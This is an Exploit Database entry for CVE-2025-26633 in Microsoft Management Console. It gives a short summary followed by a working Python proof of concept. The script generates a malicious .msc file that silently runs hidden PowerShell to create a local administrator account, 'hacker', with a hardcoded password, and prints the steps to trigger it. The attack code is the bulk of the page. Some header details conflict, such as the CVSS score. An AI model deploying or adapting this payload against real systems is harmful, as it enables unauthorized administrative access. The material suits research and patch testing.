CVE-2025-26633 (CVSS 7.0 HIGH) is a local privilege escalation vulnerability in the Microsoft Management Console (MMC) where a maliciously crafted `.msc` file can execute arbitrary code with the privileges of the user opening it, such as creating a local administrator account. It affects multiple Windows versions, including Windows 10 1507 prior to 10.0.10240.20947, Windows 10 1607 prior to 10.0.14393.7876, and Windows 10 1809 prior to 10.0.17763.7009. The fix is to apply the Microsoft March 2025 Patch Tuesday updates, which contain the specific build versions listed.
This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING Microsoft MMC MSC EvilTwin - Local Admin Creation EDB-ID: 52498 CVE: 2025-26633 EDB Verified: Author: MOHAMMED IDREES BANYAMER Type: LOCAL Exploit: / Platform: WINDOWS Date: 2026-04-08 Vulnerable App: #!/usr/bin/env python3 # Exploit Title: Microsoft MMC MSC EvilTwin - Local Admin Creation # Date: 2025-11-22 # Author: Mohammed Idrees Banyamer # Author Country: Jordan # GitHub: https://github.com/mbanyamer # Vendor Homepage: https://www.microsoft.com # Software Link: N/A (built-in Windows component - mmc.exe) # Version: Windows 10 all editions, Windows 11 all editions, Windows Server 2016-2025 # Tested on: Windows 11 24H2 (unpatched), Windows 10 22H2 (unpatched) # CVE: CVE-2025-26633 # CVSS: 7.8 (High) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H # Category: Local # Platform: Windows # CRITICAL: This is a post-exploitation / living-off-the-land technique widely used in real attacks # Including: Zero-day at time of disclosure (March 2025), actively exploited by Water Gamayun APT # Impact: Arbitrary code execution with the privileges of the user opening the .msc file # Fix: Apply Microsoft Patch Tuesday March 2025 updates (e.g., KB5053602 and later) # Advisory: https://www.zerodayinitiative.com/advisories/ZDI-25-25-150/ # Patch: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-26633 # Target: Unpatched Windows systems (pre March 2025 patches) # CVE-2025-26633 Proof of Concept – Add Local Administrator Account # Use ONLY in authorized penetration testing or isolated research labs import os import xml.etree.ElementTree as ET # PAYLOAD: Adds local administrator account "hacker" silently PAYLOAD = ( 'powershell.exe -NoP -W Hidden -C "' '$user = \\\'hacker\\\'; ' '$pass = ConvertTo-SecureString \\\'P@ssw0rd123!\\\' -AsPlainText -Force; ' 'New-LocalUser -Name $user -Password $pass -FullName \\\'Lab User\\\' ' '-Description \\\'Research account\\\' -ErrorAction SilentlyContinue; ' 'Add-LocalGroupMember -Group \\\'Administrators\\\' -Member $user ' '-ErrorAction SilentlyContinue; ' 'Write-Host \\\'[+] User hacker:P@ssw0rd123! added to Administrators\\\'"' ) def create_evil_msc(filename="CVE-2025-26633-AddAdmin.msc"): root = ET.Element("MMC_ConsoleFile", ConsoleVersion="3.0") string_table = ET.SubElement(root, "StringTable") ET.SubElement(string_table, "String", id="1").text = "Local Users and Groups" ET.SubElement(string_table, "String", id="2").text = "Security Research Snap-in" snapins = ET.SubElement(root, "SnapIns") snapin = ET.SubElement(snapins, "SnapIn") ET.SubElement(snapin, "Name").text = "{7B8B9A1C-2D3E-4F5A-9B6C-1A2B3C4D5E6F}" ET.SubElement(snapin, "Description").text = "Custom Administration Tool" actions = ET.SubElement(snapin, "Actions") action = ET.SubElement(actions, "Action") ET.SubElement(action, "RunCommand").text = PAYLOAD ET.SubElement(action, "Name").text = "AddLocalAdmin" tree = ET.ElementTree(root) tree.write(filename, encoding="utf-16", xml_declaration=True) print(f"[+] Malicious .msc file successfully created: {filename}") def main(): msc_file = "CVE-2025-26633-AddAdmin.msc" create_evil_msc(msc_file) print("\n[+] Next step (execute inside vulnerable target or lab VM):") print(f" mmc.exe \"{os.path.abspath(msc_file)}\"\n") print("[!] Instant local admin account will be created:") print(" Username : hacker") print(" Password : P@ssw0rd123!") print(" Verify with: net localgroup administrators") if __name__ == "__main__": main() Copy Tags: Advisory/Source: Link Databases Links Sites Solutions Exploits Search Exploit-DB OffSec Courses and Certifications Google Hacking Submit Entry Kali Linux Learn Subscriptions Papers SearchSploit Manual VulnHub OffSec Cyber Range Shellcodes Exploit Statistics Proving Grounds Penetration Testing Services EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES © OffSec Services Limited 2026. All rights reserved.